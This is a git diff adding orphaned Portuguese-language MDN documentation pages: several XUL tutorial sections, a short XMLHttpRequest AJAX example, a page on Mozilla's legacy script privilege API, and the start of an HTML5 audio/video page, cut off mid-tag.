b/files/pt-pt/orphaned/tutorial_xul/adicionando_botões/index.html @@ -0,0 +1,77 @@ +--- +title: Adicionando botões +slug: Tutorial_XUL/Adicionando_botões +tags: + - PrecisaDeRevisãoEditorial + - Todas_as_Categorias + - Tutorial_XUL + - XUL +--- +<p> +</p> +<h3 id="Adicionando_Bot.C3.B5es_a_uma_Janela" name="Adicionando_Bot.C3.B5es_a_uma_Janela"> Adicionando Botões a uma Janela </h3> +<p>A janela que nós criamos não possuía nada, então ainda não é muito interessante. Nessa sessão, iremos adicionar dois botões, um botão "Find" e outro "Cancel". Iremos também aprender uma maneira simples de posicionar os botões na janela. +</p><p>Como em HTML, XUL tem uma série de tags que podem ser usadas para criar UIs. A mais básica delas é a tag <code>{{ XULElem("button") }}</code>. Este elemento é usado para criar botões simples. +</p><p>O elemento botão tem duas propriedades principais associadas a ele, uma <code>label</code> uma <code>image</code>. Você precisará ao menos de uma delas ou das duas para criar um botão simples. Portanto, um botão pode ter apenas uma label (texto), uma imagem ou os dois juntos. Botões são geralmente usados para comandos OK e Cancel numa caixa de diálogo, por exemplo. Vale lembrar que não haverá erro caso não seja colocado nem uma label ou uma imagem, apenas o botão ficará em branco o que não é muito comum em interfaces. +</p> +<h4 id="Sintaxe_dos_Bot.C3.B5es" name="Sintaxe_dos_Bot.C3.B5es"> Sintaxe dos Botões </h4> +<p>A tag <code><a class="external" href="http://developer.mozilla.org/en/docs/XUL:button">button</a></code> tem a seguinte sintaxe: +</p> +<pre><button + id="identifier" + class="dialog" + label="OK" + image="images/image.jpg" + disabled="true" + accesskey="t"/> +</pre> +<p>Os atributos a seguir são todos opcionais: +</p> +<dl><dt> <a class="external" href="http://developer.mozilla.org/en/docs/XUL:Attribute:id">id</a> </dt><dd> Um identificador único para o botão. Como já dissemos em sessões anteriores, muitos elementos terão esse identificador. Você deverá usar este atributo caso deseje referenciar o botão em um CSS ou script. Entretanto, é aconselhável que você coloque o atributo id mesmo que não vá referenciar o botão em nenhum lugar. +</dd><dt> <a class="external" href="http://developer.mozilla.org/en/docs/XUL:Attribute:class">class</a> </dt><dd> A classe do botão. Tem o mesmo efeito do atributo "class" em HTML, usado para CSS. Neste caso, o valor <code>dialog</code> é usado. +</dd><dt> <a class="external" href="http://developer.mozilla.org/en/docs/XUL:Attribute:label">label</a> </dt><dd> O texto que irá aparecer dentro do botão. Se for deixado em branco ou não for especificado, nenhum texto irá aparecer. +</dd><dt> <a class="external" href="http://developer.mozilla.org/en/docs/XUL:Attribute:image">image</a> </dt><dd> A URL da imagem que aparecerá no botão. Se for deixado em branco ou não for especificado, nenhuma imagem irá aparecer. Você também pode especificar a imagem através da propriedade CSS <code><a href="pt/CSS/list-style-image">list-style-image</a></code>. +</dd><dt> <a class="external" href="http://developer.mozilla.org/en/docs/XUL:Attribute:disabled">disabled</a> </dt><dd> Se este atributo for setado como <code>true</code>, o botão ficará desabilitado. Se um botão está desabilitado, as funções que ele possui não poderão ser executadas. O default para esta propriedade é o botão habilitado. Você também pode trocar o estado do botão com <a href="pt/JavaScript">JavaScript</a>. +</dd><dt> <a class="external" href="http://developer.mozilla.org/en/docs/XUL:Attribute:accesskey">accesskey</a> </dt><dd> Esta propriedade designa uma letra como tecla de atalho. A letra especificada geralmente sublinhada no texto do botão. Caso não haja a letra especificada como atalho no texto escrito no atributo "label", a letra aparecerá no final do texto, entre parênteses. Quando o usuário pressionar a tecla ALT (ou a tecla similar em outras plataformas) e a letra de atalho, o botão será acionado. +</dd></dl> +<p>O botão possui diversas outras propriedades que podem ser vistas no link <a href="pt/XUL_Tutorial/More_Button_Features">Mais propriedades</a>. +</p> +<h4 id="Alguns_exemplos_de_bot.C3.B5es" name="Alguns_exemplos_de_bot.C3.B5es"> Alguns exemplos de botões </h4> +<p><a class="external" href="http://developer.mozilla.org/samples/xultu/examples/ex_buttons_1.xul.txt">"Codigo Fonte"</a> : <a class="external" href="http://developer.mozilla.org/samples/xultu/examples/ex_buttons_1.xul">Visualizar</a> +</p> +<div class="float-right"><img alt="Image:buttons1.png"></div> +<pre><button label="Normal"/> +<button label="Disabled" disabled="true"/> +</pre> +<p>O exemplo acima irá gerar os botões da imagem ao lado. O primeiro é um botã normal. O segundo está desabilitado, por isso aparece em tom de cinza. +</p><p>Vamos começar criando um simples botão "Find", para nosso aplicativo de encontrar arquivos. O código abaixo mostra como fazer isso. +</p> +<pre><button id="find-button" label="Find"/> +</pre> +<div class="note">Note que o Firefox não permite a você abrir janelas chrome de páginas Web, por isso os links "Visualizar" abrem em janelas normais do browser. Por esse motivo, os botões ocuparão toda a tela. Você pode adicionar o atributo align="start" na tag window para prevenir isso.</div> +<div class="highlight"> +<h5 id="O_exemplo_findfile.xul" name="O_exemplo_findfile.xul"> O exemplo findfile.xul </h5> +<p>Vamos adicionar o código acima ao arquivo findfile.xul criado na sessão anterior. O código precisa se inserido entre as tags <code><a class="external" href="http://developer.mozilla.org/en/docs/XUL:window">window</a></code>. O código a ser adicionado está exibido em vermelho, abaixo: +</p> +<pre class="eval"><?xml version="1.0"?> +<?xml-stylesheet href="<a class=" external" rel="freelink">chrome://global/skin/</a>" type="text/css"?> +<window + id="findfile-window" + title="Find Files" + orient="horizontal" + xmlns="<span class="nowiki">http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul</span>"> + + <span class="highlightred"><button id="find-button" label="Find"/></span> + <span class="highlightred"><button id="cancel-button" label="Cancel"/></span> + +</window> +</pre> +<div class="float-right"><img alt="Image:buttons2.png"></div> +Você irá notar que o botão "Cancel" foi adicionado. Foi dado à janela uma orientação horizontal fazendo com que os botões apareçam um ao lado do outro. Se você abrir o arquivo no Mozilla, você deverá ter alguma coisa parecida como a imagem ao lado.</div> +<div class="note">Note que é aconselhável não colocar as labels diretamento no arquivo XUL. Devemos usar <a href="pt/XUL_Tutorial/Localization">entidades de forma que o texto seja facilmente traduzido</a>.</div> +<p>Na próxima sessão, iremos encontrar como +</p><p>In the next section, we will find out how to <a href="pt/XUL_Tutorial/Adding_Labels_and_Images"> adicionar labels e imagens em um arquivo XUL</a>. </p><p><small>See also <a href="pt/XUL_Tutorial/More_Button_Features">more button fetaures</a></small> +</p><p>{{ PreviousNext("XUL Tutorial:Creating a Window", "XUL Tutorial:Adding Labels and Images") }} +</p><p><span class="comment">Categorias</span> +</p><p><span class="comment">Interwiki Language Links</span> +</p>{{ languages( { "en": "en/XUL_Tutorial/Adding_Buttons", "es": "es/Tutorial_de_XUL/A\u00f1adiendo_botones", "ja": "ja/XUL_Tutorial/Adding_Buttons", "pl": "pl/Kurs_XUL/Dodawanie_przycisk\u00f3w" } ) }} diff --git a/files/pt-pt/orphaned/tutorial_xul/criando_uma_janela/index.html b/files/pt-pt/orphaned/tutorial_xul/criando_uma_janela/index.html new file mode 100644 index 0000000000..37e7ee87a8 --- /dev/null +++ b/files/pt-pt/orphaned/tutorial_xul/criando_uma_janela/index.html @@ -0,0 +1,89 @@ +--- +title: Criando uma janela +slug: Tutorial_XUL/Criando_uma_janela +tags: + - PrecisaDeAtualização + - Todas_as_Categorias + - Tutorial_XUL + - XUL +--- +<p> </p> + +<h3 id="Criando_uma_aplica.C3.A7.C3.A3o_XUL" name="Criando_uma_aplica.C3.A7.C3.A3o_XUL">Criando uma aplicação XUL</h3> + +<p>Uma aplicação XUL pode ter qualquer nome mas ela precisa necessariamente ter a extensão <strong>.xul</strong>. A aplicação XUL mais simples tem a seguinte estrutura:</p> + +<pre><?xml version="1.0"?> +<?xml-stylesheet href="chrome://global/skin/" type="text/css"?> + +<window + id="findfile-window" + title="Find Files" + orient="horizontal" + xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> +<!-- Other elements go here --> +</window> +</pre> + +<p>Esta janela não irá fazer nada já que ela não contém nenhum elemento de interação com o usuário (UI). Estes serão adicionados na próxima sessão. Abaixo segue uma explicação de cada linha do código acima:</p> + +<ol> + <li><strong><?xml version="1.0"?></strong><br> + Esta linha serve simplesmente para declarar que este é um arquivo XML. Você normalmente colocará essa linha no topo de cada arquivo XUL assim como você coloca a tag HTML em cada arquivo HTML.</li> + <li><strong><?xml-stylesheet href="<a class="external" rel="freelink">chrome://global/skin/</a>" type="text/css"?></strong><br> + Esta linha é usada para especificar o arquivo CSS que será usado pelo arquivo. Esta é a sintaxe que os arquivos XML usam para importar folhas de estilo. Nesse caso, importamos os CSS que se encontram na pasta global do pacote de skins. Repare que não foi designado um arquivo específico então o Mozilla irá determinar qual arquivo CSS será utilzado. Nesse caso, o arquivo global.css será selecionado. Este arquivo contém todas as declarações padrão para todos os elementos XUL. Pelo fato do XML não ter a capacidade de definir como os elementos serão exibidos, o CSS indica como fazê-lo. Geralmente, você colocará esta linha no topo de todos os arquivos XUL. Você poderá também importar um arquivo externo usando a mesma sintaxe. Note que você normalmente irá importar o CSS global de seu próprio arquivo.</li> + <li><strong><window</strong><br> + Esta linha declara que você está descrevendo um <a class="external" href="http://developer.mozilla.org/en/docs/XUL:window">window</a>. Cada janela de UI é descrita em um arquivo separado. Esta tag é semelhante à tag BODY do HTML, que engloba o conteúdo do arquivo. <a href="pt/XUL/window#Attributes">Muitos atributos</a> podem ser colocados na tag <a class="external" href="http://developer.mozilla.org/en/docs/XUL:window">window</a> -- nesse caso, são quatro. Neste exemplo, cada atributo é colocado em uma linha separada, mas não é preciso seguir essa regra.</li> + <li><strong>id="findfile-window"</strong><br> + O atributo <code><a class="external" href="http://developer.mozilla.org/en/docs/XUL:Attribute:id">id</a></code> é usado como um identificador que é usado por scripts para ser rerefenciado. Normalmente é colocado um atributo <code>id</code> em todos os elementos. Você pode dar qualquer nome aos atributos, mas de preferência dê nomes que identifiquem para o que o atributo serve.</li> + <li><strong>title="Find Files"</strong><br> + O atributo <code><a class="external" href="http://developer.mozilla.org/en/docs/XUL:Attribute:title">title</a></code> descreve o texto que irá aparecer na barra de título da janela quando ela é exibida. Nesse caso, o texto 'Find Files' irá aparecer.</li> + <li><strong>orient="horizontal"</strong><br> + O atributo <code><a class="external" href="http://developer.mozilla.org/en/docs/XUL:Attribute:orient">orient</a></code> especifica o posicionamento dos itens na janela. O valor <code>horizontal</code> indica que os itens devem aparecer dispostos horizontalmente na janela. Você pode também usar o valor <code>vertical</code> para designar que os elementos aparecerão em forma de colunas. Como este é o valor default, você pode optar por não escrever esse atributo caso deseje que os elementos aparecam na vertical.</li> + <li><strong>xmlns="<span class="nowiki">http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul</span>"></strong><br> + Esta linha declara o namespace para o XUL, que você deve colocar em uma elemento janela de forma a indicar que todos os seus 'filhos' são XUL. Note que essa URL não é exibida para você. Mozilla irá reconhecer essa URL internamente.</li> + <li><strong><span class="nowiki"><!-- Other elements go here --></span></strong><br> + Você pode substituir esse bloco de comentários por outros elementos (botões, menus e outros componentes de UI) que aparecerão na janela. Nós iremos adicionar alguns deles na próxima sessão.</li> + <li><strong></window></strong><br> + E finalmente, precisamos fechar a tag <a class="external" href="http://developer.mozilla.org/en/docs/XUL:window">window</a> no final do arquivo.</li> +</ol> + +<h3 id="Abrindo_uma_janela" name="Abrindo_uma_janela">Abrindo uma janela</h3> + +<p>Para abrir uma janela XUL, existem vários métodos que podem ser usados. Se você estiver apenas na fase de desenvolvimento, você pode simplesmente escrever a URL (como um chrome:, file: or outros tipos de URL) na barra de endereços do Mozilla. Você pode também dar um duplo-clique no nome do arquivo em seu diretório, assuminfo que os arquivos XUL estão associados com o Mozilla. A janela XUL irá aparecer na janela do browser como se fosse uma nova janela, mas isso é o suficiente durante o estágio de desevolvimento.</p> + +<p>A forma correta, é claro, é abrir a janela usando javascript. Nenhuma sintaxe nova é necessária, podendo ser usada a função <a href="pt/DOM/window.open">window.open()</a> como se fosse uma documento <a href="pt/HTML">HTML</a>. Entretanto, um parâmetro adicional com o valor 'chrome' é necessário para indicar ao browser será aberto um documento <a href="pt/DOM/window.open#Window_functionality_features">chrome</a>. Isso ira abrir a janela sem as barras de ferramenta e os menus. A sintaxe é descrita abaixo:</p> + +<pre>window.open(url,windowname,flags); + +onde o parâmetro 'flags' recebe o valor "chrome", como no exemplo: + +window.open("chrome://navigator/content/navigator.xul", "bmarks", "chrome,width=600,height=300"); +</pre> + +<div class="highlight"> +<h5 id="O_exemplo_findfile.xul" name="O_exemplo_findfile.xul">O exemplo findfile.xul</h5> + +<p>Vamos começar criando um arquivo básico para a janela 'Find File'. Crie um arquivo chamado findfile.xul e o coloque no diretório especificado no arquivo findfile.manifest (nós o criamos na sessão anterior). Adicione o exemplo mostrado anteriormente ao arquivo e salve-o.</p> +</div> + +<p>Você pode usar o parâmetro da linha de comando '-chrome' para especificar o arquivo XUL a ser aberto quando o Mozilla iniciar. Se não for especificado nenhum arquivo, a janela padrão será aberta. (Normalmente a janela do browser.) Por exemplo, podemos abrir a janela 'Find Files' das seguintes formas:</p> + +<pre>mozilla -chrome chrome://findfile/content/findfile.xul + +mozilla -chrome resource:/chrome/findfile/content/findfile.xul +</pre> + +<p>Se você executar este comando a partir de uma linha de comando (assumindo que você tem uma na sua plataforma), a janela 'Find Files' irá abrir como janela padrão, ao invés da janela do browser. Por nós ainda não termos inserido nenhum elemento de interação na janela, você não verá a janela aparecendo. Iremos adicionar alguns elementos na próxima sessão.</p> + +<p>Para ver o efeito, o link a seguir irá abrir a janela de favoritos:</p> + +<pre class="eval">mozilla -chrome <a class="external" rel="freelink">chrome://communicator/content/bookma...rksManager.xul</a> + +<span class="highlightred">Se você estiver usando o Firefox, utilize o link abaixo</span> +firefox -chrome <a class="external" rel="freelink">chrome://browser/content/bookmarks/b...rksManager.xul</a> +</pre> + +<p>O argumento '-chrome' não dá ao arquivo nenhum privilégio adicional. Ao contrário, ele abre o arquivo especificado como uma aba, sem barra de endereço ou menus. Apenas URL chromes tem privilégios adicionais.</p> + +<div class="note">No link <a class="external" href="http://ted.mielczarek.org/code/mozilla/extensiondev/">Extension Developer's Extension</a> você encontra um editor XUL que permite que você escreva códigos XUL e veja os resultados em tempo real sem o uso do Mozilla!</div> diff --git a/files/pt-pt/orphaned/tutorial_xul/index.html b/files/pt-pt/orphaned/tutorial_xul/index.html new file mode 100644 index 0000000000..30f3bbf77a --- /dev/null +++ b/files/pt-pt/orphaned/tutorial_xul/index.html @@ -0,0 +1,52 @@ +--- +title: Tutorial XUL +slug: Tutorial_XUL +tags: + - Todas_as_Categorias + - Tutorial_XUL + - XUL +--- +<p> </p> + +<p><br> + Este tutorial descreve <a href="pt/XUL">XUL</a>, a Linguagem <a href="pt/XML">XML</a> de Interface de Usuário. Esta linguagem foi criada para aplicações Mozilla e é usada para descrever sua interface de usuário.</p> + +<h3 id="Introdu.C3.A7.C3.A3o" name="Introdu.C3.A7.C3.A3o">Introdução</h3> + +<ul> + <li><a href="pt/Tutorial_XUL/Introdu%c3%a7%c3%a3o">Introdução</a></li> + <li><a href="pt/Tutorial_XUL/Estrutura_XUL">Estrutura XUL</a></li> + <li><a href="pt/Tutorial_XUL/A_URL_Chrome">A URL Chrome</a></li> + <li><a href="pt/Tutorial_XUL/Arquivos_de_manifesto">Arquivos de manifesto</a></li> +</ul> + +<h3 id="Elementos_Simples" name="Elementos_Simples">Elementos Simples</h3> + +<ul> + <li><a href="pt/Tutorial_XUL/Criando_uma_janela">Criando uma janela</a></li> + <li><a href="pt/Tutorial_XUL/Adicionando_bot%c3%b5es">Adicionando botões</a></li> + <li><a href="pt/Tutorial_XUL/Adicionando_etiquetas_e_imagens">Adicionando etiquetas e imagens</a></li> + <li><a href="pt/Tutorial_XUL/Controles_de_entrada">Controles de entrada</a></li> + <li><a href="pt/Tutorial_XUL/Controles_listas">Controles listas</a></li> + <li><a href="pt/Tutorial_XUL/Adicionando_elementos_HTML">Adicionando elementos HTML</a></li> + <li><a href="pt/Tutorial_XUL/Usando_Espa%c3%a7adores">Usando espaçadores</a></li> + <li><a href="pt/Tutorial_XUL/Mais_caracter%c3%adsticas_do_bot%c3%a3o">Mais características do botão</a></li> +</ul> + +<div class="note"> +<p>Este tutorial de XUL foi criado originalmente por <a class="external" href="http://www.xulplanet.com/ndeakin/">Neil Deakin</a>. Deu-nos a permissão de usá-lo no <abbr title="Mozilla Developer Center">MDC</abbr>.</p> +</div> + +<div class="originaldocinfo"> +<h5 id="Informa.C3.A7.C3.B5es_Sobre_o_Documento_Original" name="Informa.C3.A7.C3.B5es_Sobre_o_Documento_Original">Informações Sobre o Documento Original</h5> + +<ul> + <li>Autor: <a class="external" href="http://www.xulplanet.com/ndeakin/">Neil Deakin</a></li> + <li>Última Atualização: 03/06/2005</li> + <li>Informações sobre Copyright: © 1999-2005 XULPlanet.com</li> +</ul> +</div> + +<p><span class="comment">Categorias</span></p> + +<p><span class="comment">Interwiki Language Links</span></p> diff --git a/files/pt-pt/orphaned/tutorial_xul/introdução/index.html b/files/pt-pt/orphaned/tutorial_xul/introdução/index.html new file mode 100644 index 0000000000..04753884df --- /dev/null +++ b/files/pt-pt/orphaned/tutorial_xul/introdução/index.html @@ -0,0 +1,61 @@ +--- +title: Introdução +slug: Tutorial_XUL/Introdução +tags: + - PrecisaDeAtualização + - Todas_as_Categorias + - Tutorial_XUL + - XUL +--- +<p> </p> + +<p>Este tutorial guiará você no aprendizado de <a href="pt/XUL">XUL</a> (<a href="pt/XML">XML</a> User Interface Language), que é uma linguagem multi-plataforma para descrever interfaces (usuário) de aplicações.</p> + +<p>Este tutorial demonstrará a criação de uma interface simples de procura de arquivos, similar à provida pelo Sherlock do Macintosh ou o diálogo de procura de arquivos no Windows. Note que só será criada a interface do usuário, junto com algumas funcionalidades limitadas. A procura real por arquivos não será implementada. Uma linha azul aparecerá à esquerda de um parágrafo quando o diálogo de procura de arquivos tiver sido modificado. Você pode seguir através dessas sessões.</p> + +<h3 id="O_que_.C3.A9_XUL_e_por_que_foi_criado.3F" name="O_que_.C3.A9_XUL_e_por_que_foi_criado.3F">O que é XUL e por que foi criado?</h3> + +<p><abbr title="XML User-interface Language">XUL</abbr> (pronouncia-se zúl, quase como azul - ou cool, em inglês) foi criado para tornar o desenvolvimento do navegador Mozilla mais fácil e rápido. É uma linguagem <abbr title="eXtensible Markup Language">XML</abbr> de modo que todas as características disponíveis para XML estão também disponíveis para XUL.</p> + +<p>A maioria das aplicações precisa ser desenvolvida usando características de uma plataforma específica, o que torna a construção de software multi-plataforma cara e demorada. Isso pode não ser importante para alguns, mas usuários podem desejar usar uma aplicação em outros dispositivos tais como computadores de mão.</p> + +<p>Um número de soluções multi-plataformas foi desenvolvido no passado. Java, por exemplo, tem portabilidade como um ponto chave. XUL é um projeto de linguagem semelhante especificamente projetado para a criação de interfaces de usuário portáteis.</p> + +<p>É levado um longo tempo para construir uma aplicação, mesmo para uma só plataforma. O tempo necessário para compilar e depurar pode ser longo. Com XUL, uma interface pode ser implementada e modificada rápida e facilmente.</p> + +<p>XUL tem todas as vantagens de outras linguagens XML. Por exemplo, <abbr title="eXtensible HyperText Markup Language">XHTML</abbr> ou outras linguagens XML tais como o <abbr title="Math Markup Language">MathML</abbr> ou o <abbr title="Scalable Vector Graphics">SVG</abbr> podem ser inseridas nela. Além disso, texto apresentado com XUL é facilmente localizável, o que significa que pode ser traduzido para outros idiomas com pouco esforço. Folhas de estilo podem ser aplicadas para modificar a aparência da interface de usuário (como os skins ou características de temas no WinAmp ou alguns gerenciadores de janelas).</p> + +<h3 id="Que_esp.C3.A9cies_de_interfaces_para_usu.C3.A1rio_podem_ser_feitas_com_XUL.3F" name="Que_esp.C3.A9cies_de_interfaces_para_usu.C3.A1rio_podem_ser_feitas_com_XUL.3F">Que espécies de interfaces para usuário podem ser feitas com XUL?</h3> + +<p>XUL provê a capacidade de criar a maioria dos elementos encontrados em interfaces gráficas modernas. É genérico o suficiente para que possa ser aplicado às necessidades especiais de certos dispositivos e poderoso o suficiente para que desenvolvedores possam criar interfaces sofisticadas com ele.</p> + +<p>Alguns elementos que podem ser criados são:</p> + +<ul> + <li>Controles de entrada tais como caixas de texto e de checagens (textboxes e checkboxes)</li> + <li>Barras de ferramentas com botões ou outros conteúdos</li> + <li>Menus em uma barra de menus or menus flutuantes (pop ups)</li> + <li>Diálogos organizados em abas</li> + <li>Árvores para informação hierárquica ou tabular</li> + <li>Atalhos de teclado</li> +</ul> + +<p>O conteúdo exibido pode ser criado a partir de arquivos XUL ou com dados vindos de uma fonte de dados (datasource). No Mozilla, tais fontes de dados incluem uma caixa de correios de usuário, seus marcadores e resultados de buscas. O conteúdo de menus, árvores e outros elementos pode ser habitado com esses dados, ou com seus próprios dados supridos por um arquivo RDF.</p> + +<p>O conteúdo XUL pode ser lido de um arquivo local ou de um site remoto. Pode também ser empacotado em um instalador que o usuário copie através de download e instale. Este último método dá à aplicação privilégios adicionais, tais como leitura de arquivos locais e modificação das preferências do usuário.</p> + +<p>XUL é atualmente armazenado em arquivos com a extensão .xul. Você pode abrir um arquivo XUL com o Mozilla tanto como com qualquer outro arquivo, usando o comando Abrir Arquivo do menu Arquivo ou escrevendo a URL na barra de endereços.</p> + +<p>Quando lendo conteúdo XUL de um site remoto, você deve configurar seu servidor web para enviar arquivos XUL com o tipo de conteúdo 'application/vnd.mozilla.xul+xml'.</p> + +<h3 id="O_que_preciso_saber_para_usar_este_tutorial.3F" name="O_que_preciso_saber_para_usar_este_tutorial.3F">O que preciso saber para usar este tutorial?</h3> + +<p>Você precisa ter um conhecimento de <a href="pt/HTML">HTML</a> e um mínimo de conhecimento básico de <a href="pt/XML">XML</a> e <a href="pt/CSS">CSS</a>. Aqui estão algumas normas para manter em mente:</p> + +<ul> + <li>Todos os elementos e atributos XUL precisam ser escritos em caixa baixa (todos minúsculos), visto que XML é sensível à caixa (diferente de HTML).</li> + <li>Valores de atributo em XML devem ser colocados entre aspas, mesmo que sejam números.</li> + <li>Arquivos XUL são usualmente divididos em quatro arquivos, um deles para esboço e elementos, para declarações de estilo, para declarações de entidade (usadas para localização) e para scripts. Adicionalmente, você pode ter arquivos extra para imagens ou para dados específicos da plataforma.</li> +</ul> + +<p>XUL é suportado no Mozilla e em navegadores baseados nele, tais como o Netscape 6 ou posterior e Mozilla Firefox. Devido a várias mudanças na sintaxe XUL através do tempo, você deverá pegar a última versão para os exemplos funcionarem corretamente.</p> diff --git a/files/pt-pt/orphaned/um_pequeno_exemplo_usando_ajax/index.html b/files/pt-pt/orphaned/um_pequeno_exemplo_usando_ajax/index.html new file mode 100644 index 0000000000..2abdf08c18 --- /dev/null +++ b/files/pt-pt/orphaned/um_pequeno_exemplo_usando_ajax/index.html @@ -0,0 +1,34 @@ +--- +title: Um pequeno exemplo usando AJAX +slug: Um_pequeno_exemplo_usando_AJAX +tags: + - AJAX + - 'AJAX:Exemplos' + - Todas_as_Categorias +--- +<p> +</p><p>Exemplo de uma simples requisição usando XmlHttpRequest, que retorna o +conteúdo de uma página do mesmo domínio. +</p> +<pre class="eval">// Esta função será chamada pelo componente XmlHttpRequest +function processReqChange () +{ + var s = 'Status: \t' + request.status + '\n'; + s += 'StatusText: \t' + request.statusText + '\n'; + s += 'ResponseText: \t' + request.responseText; + // codigo 4 para 'status complete' + if (request.readyState == 4 && request.status == 200) + alert(s); +} +// Se o endereco que se deseja acessar assincronamente +// for um script, ele poderá receber parâmetros, +// e uma forma simples de enviar parâmetros é pela própria url +// var url = 'meu_script.php?var1=par1' +// Se você tentar acessar uma página de outro domínio (e.g: <a class=" external" href="http://mozilla.org">http://mozilla.org</a>) +// o firefox vai levantar uma exeção, "Permission denied". +var url = 'index.html'; +var request = new XMLHttpRequest(); +request.onreadystatechange = processReqChange; +request.open("GET", url, true); +request.send(""); +</pre> diff --git a/files/pt-pt/orphaned/usando_privilégios_expandidos_em_navegadores_mozilla/index.html b/files/pt-pt/orphaned/usando_privilégios_expandidos_em_navegadores_mozilla/index.html new file mode 100644 index 0000000000..7b54dfbde6 --- /dev/null +++ b/files/pt-pt/orphaned/usando_privilégios_expandidos_em_navegadores_mozilla/index.html @@ -0,0 +1,99 @@ +--- +title: Usando privilégios expandidos em navegadores Mozilla +slug: Usando_privilégios_expandidos_em_navegadores_Mozilla +tags: + - JavaScript + - Todas_as_Categorias +--- +<p>Navegadores Mozilla dispõem de funções para segurança em Javascript similares às usadas para segurança em Java e Javascript no Netscape Communicator 4.x. +</p><p>Em casos mais simples, o código pede permissão para habilitar o privilégio que possibilita o acesso ao alvo através de scripts. Por exemplo: +</p> +<pre>netscape.security.PrivilegeManager.enablePrivilege("UniversalBrowserRead"); + +//ou: + +netscape.security.PrivilegeManager.enablePrivilege("UniversalPreferencesRead UniversalFileRead"); +</pre> +<p>Quando este método é invocado, se a assinatura for válida (caso seja um script assinado) ou codebase principal esteja habilitado, os privilégios expandidos são concedidos. Caso o acesso não seja por meio de uma destas formas, por exemplo, utilizando um arquivo local através da url <code><a class=" external" rel="freelink">file://</a></code>, será exibida uma caixa de diálogo perguntando se o usuário permite que o script use estes privilégios e também se deseja memorizar esta decisão. Note que no segundo exemplo o script solicita dois privilégios, porém exibe apenas uma caixa de diálogo descrevendo-os. +</p><p>Os privilégios são concedidos apenas no escopo da função que os solicitou. Este escopo inclui as funções chamadas por esta função. Quando a função termina, os privilégios não são mais aplicáveis. +</p> +<h3 id="Exemplo" name="Exemplo"> Exemplo </h3> +<p>A função <code>b</code> solicita privilégios expandidos, e somente comandos e funções chamados no escopo da mesma após a solicitação têm privilégios concedidos. É uma boa prática habilitar privilégios somente quando necessário, e após o uso desabilitá-los. Isso ajuda a proteger o computador do usuário de seções <i>perigosas</i> no código. +</p> +<pre>function mostraPrivilegios(i) { + try{ + if (history[0] != "") { + document.write(i + ": habilitado<br>"); + } + } catch (e) { + document.write(i + ": desabilitado<br>"); + } +} + +function a() { + mostraPrivilegios(5); +} + +function b() { + mostraPrivilegios(3); + netscape.security.PrivilegeManager.enablePrivilege("UniversalBrowserRead"); + mostraPrivilegios(4); + a(); + mostraPrivilegios(6); +} + +function c() { + mostraPrivilegios(2); + b(); + mostraPrivilegios(7); +} + +mostraPrivilegios(1); +c(); +mostraPrivilegios(8); +</pre> +<p>Este exemplo exibe o seguinte resultado: +</p> +<pre>1: desabilitado +2: desabilitado +3: desabilitado +4: habilitado +5: habilitado +6: habilitado +7: desabilitado +8: desabilitado +</pre> +<h3 id="Privil.C3.A9gios" name="Privil.C3.A9gios"> Privilégios </h3> +<dl><dt> UniversalBrowserRead +</dt><dd> Leitura de dados sensíveis do browser. Isto permite que o certificado passe a verificação da mesma origem ao ler de qualquer documento. +</dd></dl> +<dl><dt> UniversalBrowserWrite +</dt><dd> Modificação de dados sensíveis do browser. Isto permite que o certificado passe a verificação da mesma origem ao escrever em qualquer documento. +</dd></dl> +<dl><dt> UniversalXPConnect +</dt><dd> Acesso irrestrito às APIs do browser usando XPConnect. +</dd></dl> +<dl><dt> UniversalPreferencesRead +</dt><dd> Ler preferências usando o método <code>navigator.preference</code>. +</dd></dl> +<dl><dt> UniversalPreferencesWrite +</dt><dd> Ajustar preferências usando o método <code>navigator.preference</code>. +</dd></dl> +<dl><dt> CapabilityPreferencesAccess +</dt><dd> Ler e ajustar as preferências que definem políticas de segurança, incluindo que privilégios foram concedidos e negados aos scripts. Você também necessita de <code>UniversalPreferencesRead</code> e <code>UniversalPreferencesWrite</code>. +</dd></dl> +<dl><dt> UniversalFileRead +</dt><dd> Uso do método <code>window.open</code> com URLs <code><a class=" external" rel="freelink">file://</a></code> e permite que o browser faça upload de arquivos usando <code><input type="file"></code>. +</dd></dl> +<p><i><b>Nota:</b> Este artigo, bem como seu exemplo, foi baseado no artigo <a class="external" href="http://www.mozilla.org/projects/security/components/signed-scripts.html">Signed Scripts in Mozilla</a>, porém, conta com atualizações para conformidade no uso de navegadores atuais.</i> +</p> +<div class="originaldocinfo"> +<h3 id="Informa.C3.A7.C3.B5es_Sobre_o_Documento_Original" name="Informa.C3.A7.C3.B5es_Sobre_o_Documento_Original"> Informações Sobre o Documento Original </h3> +<ul><li> Autor: <a>Leandro Mercês Xavier</a> +</li><li> Última Atualização: 16/11/2006 +</li><li> Informações sobre Copyright: Este artigo está disponível sob os termos da <a class="external" href="http://creativecommons.org/licenses/by-sa/2.5/br/">Creative Commons Atribuição-Compartilhamento pela mesma licença 2.5 Brasil</a> +</li></ul> +</div> +<p><span class="comment">Categorias</span> +</p><p><span class="comment">Interwiki Language Links</span> +</p> diff --git a/files/pt-pt/orphaned/usando_áudio_e_vídeo_no_firefox/index.html b/files/pt-pt/orphaned/usando_áudio_e_vídeo_no_firefox/index.html new file mode 100644 index 0000000000..36d7159a51 --- /dev/null +++ b/files/pt-pt/orphaned/usando_áudio_e_vídeo_no_firefox/index.html @@ -0,0 +1,74 @@ +--- +title: Usando_áudio_e_vídeo_no_Firefox +slug: Usando_áudio_e_vídeo_no_Firefox +--- +<p>{{ gecko_minversion_header("1.9.1") }}</p> +<p>O Firefox 3.5 introduz suporte para os elementos <a class="internal" href="/Pt/HTML/Elemento/Audio" title="Pt/HTML/Elemento/Audio"><span class="internal"><code>audio</code></span></a> e <a class="internal" href="/Pt/HTML/Elemento/Video" title="Pt/HTML/Elemento/Video"><code>video</code></a> do HTML 5, oferecendo a capacidade de facilmente embutir mídia em documentos HTML. Atualmente são suportados os formatos de mídia Ogg Theora, Ogg Vorbis e WAV.</p> +<h2 id="Embutindo_mídia">Embutindo mídia</h2> +<p>Embutir mídia no seu documento HTML é simples:</p> +<pre class="brush: html"><video src="http://v2v.cc/~j/theora_testsuite/320x240.ogg" autoplay> + Your browser does not support the <code>video</code> element. +</video> +</pre> +<p>Este exemplo roda um video de amostra do web site Theora, por exemplo.</p> +<p>Múltiplos arquivos fonte podem ser especificados usando o elemento <a class="internal" 